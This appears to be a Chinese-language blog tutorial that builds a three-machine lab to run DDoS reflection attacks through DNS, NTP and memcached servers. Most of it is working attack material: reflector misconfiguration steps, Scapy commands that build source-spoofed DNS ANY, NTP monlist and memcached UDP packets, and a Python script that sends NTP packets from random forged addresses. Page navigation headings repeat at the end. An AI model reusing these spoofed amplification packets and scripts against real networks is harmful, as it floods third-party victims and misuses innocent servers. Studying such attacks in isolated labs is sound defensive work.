0x01 环境

包含3台主机

attact 作为攻击方，使用Centos7.2

reflect 作为流量放大器，安装有dns 、ntp 、memcached三种可以放大流量的服务

windows_server  ，用于被攻击，同时抓包分析流量 ,任意版本均可。安装wireshark，用于抓包

0x02 步骤

一、DNS放大攻击

登录 reflect机器，安装并配置BIND

yum -y install bind

修改BIND默认配置

vi /etc/named.conf

listen-on port 53 { x.x.x.x; }; //其中x.x.x.x为本机IP地址

//allow-query     { localhost; };   //注释此行，允许所有查询

启动服务

systemctl start named

此处需要注意centos7防火墙配置，可以关闭或添加放行规则，否则其它计算机仍然无法使用BIND查询DNS

登录attact机器，安装python 及scapy模块

yum -y install python

yum -y install epel-release

yum -y install python-pip

pip install scapy -i http://pypi.douban.com/simple --trusted-host pypi.douban.com

登录attact机器，安装dig查询工具

dig类似于windows下nslookup

yum install bind-utils

使用tcpdump抓DNS包

tcpdump -i ens33 -c 20 -w dns.pcap 'port 53' //ens33为接口名

使用dig进行any查询

dig any baidu.com @x.x.x.x // x.x.x.x 为reflect服务器IP,即DNS服务器IP

可以看到大量返回值，同时用wireshark打开保存下来的dns.pcap文件。用于后述分析。

登录attact机器，使用scapy构造攻击

关于scapy的使用，可以在互联网上查询。查询协议支持字段可以用如：ls(DNS)

使用scapy读取数据包及显示

pcap=rdpcap("dns.pcap")

pcap[0]

进入scapy，根据wireashark抓包构造如下数据，注意更换源地址和目标地址

源地址：攻击机IP

目的IP：DNS　IP

i=IP(src="192.168.164.1",dst="192.168.164.136")

u=UDP()

q=DNSQR(qname="baidu.com",qtype=255)

d=DNS(rd=1,qdcount=1,qd=q)

r=(i/u/d)

sr1(r)

抓包观察效果，尝试伪造源地址，再次发送。

二、NTP放大攻击

登录reflect机器，安装并配置NTP服务

NTP需要4.2.6P5前的版本，可以yum list ntp查看后，yum 安装

centos7.3 直接安装即可

yum -y install ntp

配置NTP :vi /etc/ntp.conf

注释以下两行，允许所有客户端访问

#restrict 127.0.0.1

#restrict ::1

修改下面网段，提高本地访问的权限

 # Hosts on local network are less restricted.

restrict 192.168.164.0 mask 255.255.255.0 nomodify notrap

注释以下一行，开启monitor功能

#disable monitor

保存文件后，启动服务

systemctl start ntpd

登录attactt机器，测试NTP服务器是否正常工作，并抓包分析

tcpdump

其中x.x.x.x为 reflect服务器IP

ntpdate x.x.x.x           //测试服务器是否工作

ntpdc -n -c monlist x.x.x.x       //获取服务器monlist列表

登录attactt机器，使用脚本构造monlist数据

编写以下python脚本,保存为send_ntp.py

from scapy.all import *

import random

ntp_server = sys.argv[1]

num = int(sys.argv[2])

for i in range(num):

    ip = str(random.randint(1,200))+'.192.192.192'

    send(IP(dst=ntp_server,src=ip)/UDP(sport=123)/NTP(leap=3,version=4,mode=3))

    print(ip)

使用脚本发送查询数据

python send_ntp.py x.x.x.x 100

放大器IP

再次获取monlist查看

ntpdc -n -c monlist x.x.x.x

登录attactt机器，使用scapy构造攻击数据包

注意替换源地址与目标地址

源地址：攻击机IP

目的IP：ntp　IP

scapy

i=IP(dst="192.168.164.129",src="192.168.5.5")

u=UDP()

n=NTPPrivate(version=2,mode=7,implementation=3,request_code=42)

send(i/u/n)

三、memcached放大攻击

登录reflect机器，安装并配置MEMCACHED服务

yum -y install memcached		//yum安装memcached

systemctl start memcached		//启动memcached服务

netstat -tunl			//确认11211 udp端口是否开启

登录attact机器测试MEMCACHED是否可用

yum -y install telent

telnet x.x.x.x  11211      //x.x.x.x 为reflect服务器IP

stats			//查询memcached状态

set 8abc 0 0 80		//设置一个键值，注意对应80为长度

abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123abcdefg123  //看到回显STORED表示成功

get 8abc		//获取8abc的值

登录attactt机器，使用scapy构造攻击数据包

这里我们可以用stats查询来放大，也可以用get某一键值，来放大

因为反射攻击需要使用UDP协议，MEMCACHED使用UDP时，需加上\x00\x00\x00\x00\x00\x01\x00\x00

源地址：攻击机IP

目的IP：放大器　IP

scapy

i=IP(src="192.168.164.129",dst="192.168.164.136")

u=UDP(sport=44444,dport=11211)

raw1= "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\nstats\r\n"		  //设置负载为 stats stats

raw2="\x00\x00\x00\x00\x00\x01\x00\x00get 8abc\r\n"				//设置负载为get 8abc，获取8abc键值

sr1(i/u/raw1)

sr2(i/u/raw2)

巴特西

DDOS反射攻击

0x01 环境

0x02 步骤

一、DNS放大攻击

登录 reflect机器，安装并配置BIND

登录attact机器，安装python 及scapy模块

登录attact机器，安装dig查询工具

登录attact机器，使用scapy构造攻击

二、NTP放大攻击

登录reflect机器，安装并配置NTP服务

登录attactt机器，测试NTP服务器是否正常工作，并抓包分析

登录attactt机器，使用脚本构造monlist数据

登录attactt机器，使用scapy构造攻击数据包

三、memcached放大攻击

登录reflect机器，安装并配置MEMCACHED服务

登录attact机器测试MEMCACHED是否可用

登录attactt机器，使用scapy构造攻击数据包

最新文章

热门文章

巴特西

DDOS反射攻击

0x01 环境

0x02 步骤

一、DNS放大攻击

登录 reflect机器，安装并配置BIND

登录attact机器，安装python 及scapy模块

登录attact机器，安装dig查询工具

登录attact机器，使用scapy构造攻击

二、NTP放大攻击

登录reflect机器，安装并配置NTP服务

登录attactt机器，测试NTP服务器是否正常工作 ，并抓包分析

登录attactt机器，使用脚本构造monlist数据

登录attactt机器，使用scapy构造攻击数据包

三、memcached放大攻击

登录reflect机器，安装并配置MEMCACHED服务

登录attact机器 测试MEMCACHED是否可用

登录attactt机器，使用scapy构造攻击数据包

最新文章

热门文章

登录attactt机器，测试NTP服务器是否正常工作，并抓包分析

登录attact机器测试MEMCACHED是否可用